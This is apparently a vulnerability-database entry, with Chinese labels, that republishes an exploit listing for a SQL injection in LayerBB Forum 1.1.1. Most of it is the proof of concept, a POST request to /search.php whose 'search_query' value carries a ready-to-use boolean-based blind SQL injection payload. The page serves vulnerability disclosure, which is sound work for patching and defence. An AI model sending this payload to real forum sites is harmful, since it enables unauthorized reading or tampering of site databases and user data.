发布 2018-10-04 漏洞条目

LayerBB Forum 1.1.1 – ‘search_query’ SQL Injection

Exploit Source

# Exploit Title: LayerBB Forum 1.1.1 - 'search_query' SQL Injection

# Exploit Author: Ihsan Sencan

# Dork: N/A

# Date: 2018-10-04

# Vendor Homepage: https://layerbb.com/

# Software Link: https://demo.layerbb.com/

# Version: 1.1.1

# Category: Webapps

# Tested on: WiN7_x64/KaLiLinuX_x64

# CVE: N/A

# POC:

# 1)

# POST /search.php HTTP/1.1

# Host: Target

search_query=S' RLIKE (SELECT (CASE WHEN (111=111) THEN 0x73 ELSE 0x28 END)) AND 'X'='X&search_submit=Search

相关漏洞条目